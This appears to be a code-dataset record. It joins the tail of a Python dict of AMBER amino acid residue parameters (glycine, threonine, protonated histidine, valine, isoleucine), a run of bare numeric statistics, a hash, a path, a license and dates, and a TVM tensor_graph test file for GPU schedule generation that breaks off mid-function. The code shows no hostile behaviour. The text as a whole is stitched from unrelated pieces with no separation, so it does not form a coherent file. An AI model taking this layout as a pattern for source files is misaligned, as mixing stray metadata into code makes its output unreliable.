'angle': 109.5, 'blen': 1.09, 'charge': 0.1056, 'type': 'H1'}, "atNameList":['N', 'H', 'CA', 'HA2', 'HA3', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HA2":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1056, 'type': 'H1'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 9, 'I': 10, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7855, 'type': 'O2'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2493, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 9, 'angle': 110.4, 'blen': 1.522, 'charge': 0.7231, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 9, 'I': 11, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7855, 'type': 'O2'}, "NAMRES":'GLYCINE COO- ANION', }, "THR": { "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB', 'CG2', 'HG21', 'HG22', 'HG23', 'OG1', 'HG1', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HG23":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0586, 'type': 'HC'}, "HB":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0078, 'type': 'H1'}, "HG22":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0586, 'type': 'HC'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': 0.3025, 'type': 'CT'}, "HG1":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 15, 'angle': 109.47, 'blen': 0.96, 'charge': 0.4119, 'type': 'HO'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1207, 'type': 'H1'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "HG21":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 11, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0586, 'type': 'HC'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "OG1":{'torsion': 60.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 14, 'angle': 109.47, 'blen': 1.43, 'charge': -0.6496, 'type': 'OH'}, "CG2":{'torsion': 300.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.47, 'blen': 1.525, 'charge': -0.1853, 'type': 'CT'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.242, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 16, 'I': 17, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8044, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 16, 'angle': 111.1, 'blen': 1.522, 'charge': 0.781, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 16, 'I': 18, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8044, 'type': 'O2'}, "NAMRES":'THREONINE COO- ANION', }, "HIP": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0868, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0868, 'type': 'HC'}, "NE2":{'torsion': 0.0, 'tree': 'B', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 16, 'angle': 109.0, 'blen': 1.31, 'charge': -0.1683, 'type': 'NA'}, "ND1":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 122.0, 'blen': 1.39, 'charge': -0.1501, 'type': 'NA'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CG', 'CE1', 'ND1', 'HD1'], ['CE1', 'CD2', 'NE2', 'HE2'], ['CG', 'NE2', 'CD2', 'HD2'], ['ND1', 'NE2', 'CE1', 'HE1'], ['ND1', 'CD2', 'CG', 'CB']], "CE1":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 14, 'angle': 108.0, 'blen': 1.32, 'charge': -0.0251, 'type': 'CR'}, "INTX,KFORM":['INT', '1'], "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HD1":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 13, 'angle': 126.0, 'blen': 1.01, 'charge': 0.3883, 'type': 'H'}, "HD2":{'torsion': 180.0, 'tree': 'E', 'NC': 14, 'NB': 16, 'NA': 18, 'I': 19, 'angle': 120.0, 'blen': 1.09, 'charge': 0.2336, 'type': 'H4'}, "HE1":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 15, 'angle': 120.0, 'blen': 1.09, 'charge': 0.2694, 'type': 'H5'}, "HE2":{'torsion': 180.0, 'tree': 'E', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 125.0, 'blen': 1.01, 'charge': 0.3913, 'type': 'H'}, "NAMRES":'HISTIDINE PLUS COO-', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'ND1', 'HD1', 'CE1', 'HE1', 'NE2', 'HE2', 'CD2', 'HD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "CD2":{'torsion': 0.0, 'tree': 'S', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 18, 'angle': 110.0, 'blen': 1.36, 'charge': -0.1256, 'type': 'CW'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1115, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2764, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3481, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 20, 'I': 21, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8177, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 115.0, 'blen': 1.51, 'charge': 0.0298, 'type': 'CC'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1445, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.08, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 20, 'I': 22, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8177, 'type': 'O2'}, "loopList":[['CG', 'CD2']], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 20, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8032, 'type': 'C'}, }, "VAL": { "HG22":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 16, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0836, 'type': 'HC'}, "HG23":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 17, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0836, 'type': 'HC'}, "HG21":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 15, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0836, 'type': 'HC'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "HG13":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0836, 'type': 'HC'}, "HG12":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0836, 'type': 'HC'}, "HG11":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 11, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0836, 'type': 'HC'}, "INTX,KFORM":['INT', '1'], "CG2":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 14, 'angle': 109.47, 'blen': 1.525, 'charge': -0.3064, 'type': 'CT'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CG1":{'torsion': 60.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.47, 'blen': 1.525, 'charge': -0.3064, 'type': 'CT'}, "NAMRES":'VALINE COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB', 'CG1', 'HG11', 'HG12', 'HG13', 'CG2', 'HG21', 'HG22', 'HG23', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HB":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0308, 'type': 'HC'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1438, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 18, 'I': 19, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8173, 'type': 'O2'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.3438, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': 0.194, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 18, 'I': 20, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8173, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 18, 'angle': 111.1, 'blen': 1.522, 'charge': 0.835, 'type': 'C'}, }, "ILE": { "HG22":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1021, 'type': 'HC'}, "HG23":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1021, 'type': 'HC'}, "HG21":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 10, 'I': 11, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1021, 'type': 'HC'}, "HD13":{'torsion': 300.0, 'tree': 'E', 'NC': 8, 'NB': 14, 'NA': 17, 'I': 20, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0196, 'type': 'HC'}, "HG13":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 16, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0321, 'type': 'HC'}, "HG12":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 15, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0321, 'type': 'HC'}, "INTX,KFORM":['INT', '1'], "CG2":{'torsion': 60.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.47, 'blen': 1.525, 'charge': -0.3498, 'type': 'CT'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CG1":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 14, 'angle': 109.47, 'blen': 1.525, 'charge': -0.0323, 'type': 'CT'}, "NAMRES":'ISOLEUCINE COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB', 'CG2', 'HG21', 'HG22', 'HG23', 'CG1', 'HG12', 'HG13', 'CD1', 'HD11', 'HD12', 'HD13', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HD11":{'torsion': 60.0, 'tree': 'E', 'NC': 8, 'NB': 14, 'NA': 17, 'I': 18, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0196, 'type': 'HC'}, "HD12":{'torsion': 180.0, 'tree': 'E', 'NC': 8, 'NB': 14, 'NA': 17, 'I': 19, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0196, 'type': 'HC'}, "HB":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0766, 'type': 'HC'}, "CD1":{'torsion': 180.0, 'tree': '3', 'NC': 6, 'NB': 8, 'NA': 14, 'I': 17, 'angle': 109.47, 'blen': 1.525, 'charge': -0.0699, 'type': 'CT'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1375, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 21, 'I': 22, 'angle': 120.5, 'blen': 1.229, 'charge': -0.819, 'type': 'O2'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.31, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 109.47, 'blen': 1.525, 'charge': 0.0363, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 21, 'I': 23, 'angle': 120.5, 'blen': 1.229, 'charge': -0.819, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 21, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8343, 'type': 'C'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], }, "filename":'all_aminoct94.in', }
117.782313
271
0.449824
12,155
69,256
2.562731
0.044262
0.08809
0.051685
0.058555
0.910787
0.905971
0.894093
0.88931
0.869149
0.85695
0
0.182411
0.147872
69,256
588
272
117.782313
0.345421
0
0
0.261905
0
0
0.337684
0.007638
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
5175bfad4b0daf46d5f6bdea6ea95f6e2d058af6
13,163
py
Python
tests/python/tensor_graph/test/test_internal/correctness/graph/deprecated/test_primitive_generator.py
QinHan-Erin/AMOS
634bf48edf4015e4a69a8c32d49b96bce2b5f16f
[ "Apache-2.0" ]
22
2022-03-18T07:29:31.000Z
2022-03-23T14:54:32.000Z
tests/python/tensor_graph/test/test_internal/correctness/graph/deprecated/test_primitive_generator.py
QinHan-Erin/AMOS
634bf48edf4015e4a69a8c32d49b96bce2b5f16f
[ "Apache-2.0" ]
null
null
null
tests/python/tensor_graph/test/test_internal/correctness/graph/deprecated/test_primitive_generator.py
QinHan-Erin/AMOS
634bf48edf4015e4a69a8c32d49b96bce2b5f16f
[ "Apache-2.0" ]
2
2022-03-18T08:26:34.000Z
2022-03-20T06:02:48.000Z
import tvm import numpy as np from tvm.tensor_graph.core import ForwardGraph, BackwardGraph, compute, \ GraphTensor, GraphOp, PyTIRGraph from tvm.tensor_graph.nn import MSELoss, SGD from tvm.tensor_graph.core.schedule_generator import ConnectedSet, GPUScheduleBaseSet, \ GPUScheduleMasterBaseSet, form_connected_sets, GPUScheduleMasterSet from tvm.tensor_graph.core.utils import flatten_tir_graph from tvm.tensor_graph.core.space import PrimitiveSpace from tvm.tensor_graph.core.tuner import RandomPrimitiveTuner from tvm.tensor_graph.core.scheduler import PrimitiveScheduler def test1(): print("test 1 ########################") H = 32 W = 16 L = 8 def _gemm(M, N, K, A, B, requires_grad=True): k = tvm.te.reduce_axis([0, K]) return compute([M, N], lambda i, j: tvm.te.sum(A[i, k] * B[k, j], axis=[k]), requires_grad=requires_grad) def _add(M, N, A, B, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + B[i, j], requires_grad=requires_grad) def _add_const(k): def _inner(M, N, A, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + k, requires_grad=requires_grad) return _inner A = GraphTensor([H, L], name="A") B = GraphTensor([L, W], name="B") C = GraphOp([H, L], [], [A], _add_const(1), name="C") D = GraphOp([L, W], [], [B], _add_const(2), name="D") E = GraphOp([H, W], [L], [C, D], _gemm, name="E") F = GraphTensor([H, W], name="F") G = GraphOp([H, W], [], [E, F], _add, name="G") H = GraphOp([H, W], [], [G], _add_const(3), name="H") H_tensor, params = H({}) inputs = [params[x].tvm_tensor for x in [A, B]] weights = [params[x].tvm_tensor for x in [F]] outputs = [params[x].tvm_tensor for x in [H]] tgraph = PyTIRGraph( inputs, [], outputs, weights, None, [], []) C_tvm_tensor = params[C].tvm_tensor D_tvm_tensor = params[D].tvm_tensor G_tvm_tensor = params[G].tvm_tensor H_tvm_tensor = params[H].tvm_tensor tgraph.op_stat_dict[C_tvm_tensor.op].head = True tgraph.op_stat_dict[D_tvm_tensor.op].head = True tgraph.op_stat_dict[G_tvm_tensor.op].head = False tgraph.op_stat_dict[H_tvm_tensor.op].head = False tgraph.partition_graph() tgraph.create_schedule() print("num subgraphs:", len(tgraph.subgraphs)) target = "cuda" dev = 0 subgraph = tgraph.subgraphs[0] tensors = list(subgraph.outputs.keys()) + list(subgraph.loss.keys()) \ + list(subgraph.gradients.keys()) + list(subgraph.updates.keys()) ops = [x.op for x in tensors] op_list, down_graph = flatten_tir_graph(ops, output_first=True) op_stat_dict = {} for op in op_list: v = tgraph.op_map[op] if v in tgraph.op_stat_dict: op_stat_dict[op] = tgraph.op_stat_dict[v] c_list = form_connected_sets(subgraph, op_stat_dict, tensors, ops, down_graph) print(c_list) space = PrimitiveSpace() tuner = RandomPrimitiveTuner(space) sch = tgraph.schedules[0] scheduler = PrimitiveScheduler() for connected_set in c_list: scheduler = GPUScheduleMasterBaseSet("test", subgraph, connected_set, down_graph, op_stat_dict, scheduler) scheduler.generate(sch) print(tvm.lower(sch, tgraph.bufs[0], simple_mode=True)) # tgraph.build(target) print("Success!") def test2(): print("test 2 ########################") H = 32 W = 16 L = 8 def _gemm(M, N, K, A, B, requires_grad=True): k = tvm.te.reduce_axis([0, K]) return compute([M, N], lambda i, j: tvm.te.sum(A[i, k] * B[k, j], axis=[k]), requires_grad=requires_grad) def _add(M, N, A, B, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + B[i, j], requires_grad=requires_grad) def _add_const(k): def _inner(M, N, A, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + k, requires_grad=requires_grad) return _inner A = GraphTensor([H, L], name="A") B = GraphTensor([L, W], name="B") C = GraphOp([H, L], [], [A], _add_const(1), name="C") D = GraphOp([L, W], [], [B], _add_const(2), name="D") E = GraphOp([H, W], [L], [C, D], _gemm, name="E") E_tensor, params = E({}) inputs = [params[x].tvm_tensor for x in [A]] weights = [params[x].tvm_tensor for x in [B]] outputs = [params[x].tvm_tensor for x in [E]] tgraph = PyTIRGraph( inputs, [], outputs, weights, None, [], []) C_tvm_tensor = params[C].tvm_tensor D_tvm_tensor = params[D].tvm_tensor tgraph.op_stat_dict[C_tvm_tensor.op].head = True tgraph.op_stat_dict[D_tvm_tensor.op].head = True tgraph.partition_graph() tgraph.create_schedule() print("num subgraphs:", len(tgraph.subgraphs)) target = "cuda" dev = 0 subgraph = tgraph.subgraphs[0] tensors = list(subgraph.outputs.keys()) + list(subgraph.loss.keys()) \ + list(subgraph.gradients.keys()) + list(subgraph.updates.keys()) ops = [x.op for x in tensors] op_list, down_graph = flatten_tir_graph(ops, output_first=True) op_stat_dict = {} for op in op_list: v = tgraph.op_map[op] if v in tgraph.op_stat_dict: op_stat_dict[op] = tgraph.op_stat_dict[v] c_list = form_connected_sets(subgraph, op_stat_dict, tensors, ops, down_graph) print(c_list) space = PrimitiveSpace() tuner = RandomPrimitiveTuner(space) sch = tgraph.schedules[0] scheduler = PrimitiveScheduler() for connected_set in c_list: scheduler = GPUScheduleMasterSet("test", subgraph, connected_set, down_graph, op_stat_dict, scheduler) scheduler.generate(sch) print(tvm.lower(sch, tgraph.bufs[0], simple_mode=True)) # tgraph.build(target) print("Success!") def test3(): print("test 3 ########################") H = 32 W = 16 L = 8 def _add(M, N, A, B, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + B[i, j], requires_grad=requires_grad) def _add_const(k): def _inner(M, N, A, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + k, requires_grad=requires_grad) return _inner A = GraphTensor([H, W], name="A") B = GraphTensor([H, W], name="B") C = GraphOp([H, W], [], [A], _add_const(1), name="C") D = GraphOp([H, W], [], [B], _add_const(2), name="D") E = GraphOp([H, W], [], [C, D], _add, name="E") F = GraphTensor([H, W], name="F") G = GraphOp([H, W], [], [E, F], _add, name="G") H = GraphOp([H, W], [], [G], _add_const(3), name="H") H_tensor, params = H({}) inputs = [params[x].tvm_tensor for x in [A, B]] weights = [params[x].tvm_tensor for x in [F]] outputs = [params[x].tvm_tensor for x in [H]] tgraph = PyTIRGraph( inputs, [], outputs, weights, None, [], []) C_tvm_tensor = params[C].tvm_tensor D_tvm_tensor = params[D].tvm_tensor E_tvm_tensor = params[E].tvm_tensor G_tvm_tensor = params[G].tvm_tensor H_tvm_tensor = params[H].tvm_tensor tgraph.op_stat_dict[C_tvm_tensor.op].head = True tgraph.op_stat_dict[D_tvm_tensor.op].head = True tgraph.op_stat_dict[E_tvm_tensor.op].head = True tgraph.op_stat_dict[G_tvm_tensor.op].head = True tgraph.op_stat_dict[H_tvm_tensor.op].head = True tgraph.partition_graph() tgraph.create_schedule() print("num subgraphs:", len(tgraph.subgraphs)) target = "cuda" dev = 0 subgraph = tgraph.subgraphs[0] tensors = list(subgraph.outputs.keys()) + list(subgraph.loss.keys()) \ + list(subgraph.gradients.keys()) + list(subgraph.updates.keys()) ops = [x.op for x in tensors] op_list, down_graph = flatten_tir_graph(ops, output_first=True) op_stat_dict = {} for op in op_list: v = tgraph.op_map[op] if v in tgraph.op_stat_dict: op_stat_dict[op] = tgraph.op_stat_dict[v] c_list = form_connected_sets(subgraph, op_stat_dict, tensors, ops, down_graph) print(c_list) space = PrimitiveSpace() tuner = RandomPrimitiveTuner(space) sch = tgraph.schedules[0] scheduler = PrimitiveScheduler() for connected_set in c_list: scheduler = GPUScheduleBaseSet("test", connected_set, scheduler) scheduler.generate(sch) print(tvm.lower(sch, tgraph.bufs[0], simple_mode=True)) # tgraph.build(target) print("Success!") def test4(): print("test 4 ########################") H = 32 W = 16 L = 2048 def _gemm(M, N, K, A, B, requires_grad=True): k = tvm.te.reduce_axis([0, K]) return compute([M, N], lambda i, j: tvm.te.sum(A[i, k] * B[k, j], axis=[k]), requires_grad=requires_grad) def _add(M, N, A, B, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + B[i, j], requires_grad=requires_grad) def _add_const(k): def _inner(M, N, A, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + k, requires_grad=requires_grad) return _inner A = GraphTensor([H, L], name="A") B = GraphTensor([L, W], name="B") C = GraphOp([H, L], [], [A], _add_const(1), name="C") D = GraphOp([L, W], [], [B], _add_const(2), name="D") E = GraphOp([H, W], [L], [C, D], _gemm, name="E") E_tensor, params = E({}) inputs = [params[x].tvm_tensor for x in [A]] weights = [params[x].tvm_tensor for x in [B]] outputs = [params[x].tvm_tensor for x in [E]] tgraph = PyTIRGraph( inputs, [], outputs, weights, None, [], []) C_tvm_tensor = params[C].tvm_tensor D_tvm_tensor = params[D].tvm_tensor tgraph.op_stat_dict[C_tvm_tensor.op].head = True tgraph.op_stat_dict[D_tvm_tensor.op].head = True tgraph.partition_graph() tgraph.create_schedule() print("num subgraphs:", len(tgraph.subgraphs)) target = "cuda" dev = 0 subgraph = tgraph.subgraphs[0] tensors = list(subgraph.outputs.keys()) + list(subgraph.loss.keys()) \ + list(subgraph.gradients.keys()) + list(subgraph.updates.keys()) ops = [x.op for x in tensors] op_list, down_graph = flatten_tir_graph(ops, output_first=True) op_stat_dict = {} for op in op_list: v = tgraph.op_map[op] if v in tgraph.op_stat_dict: 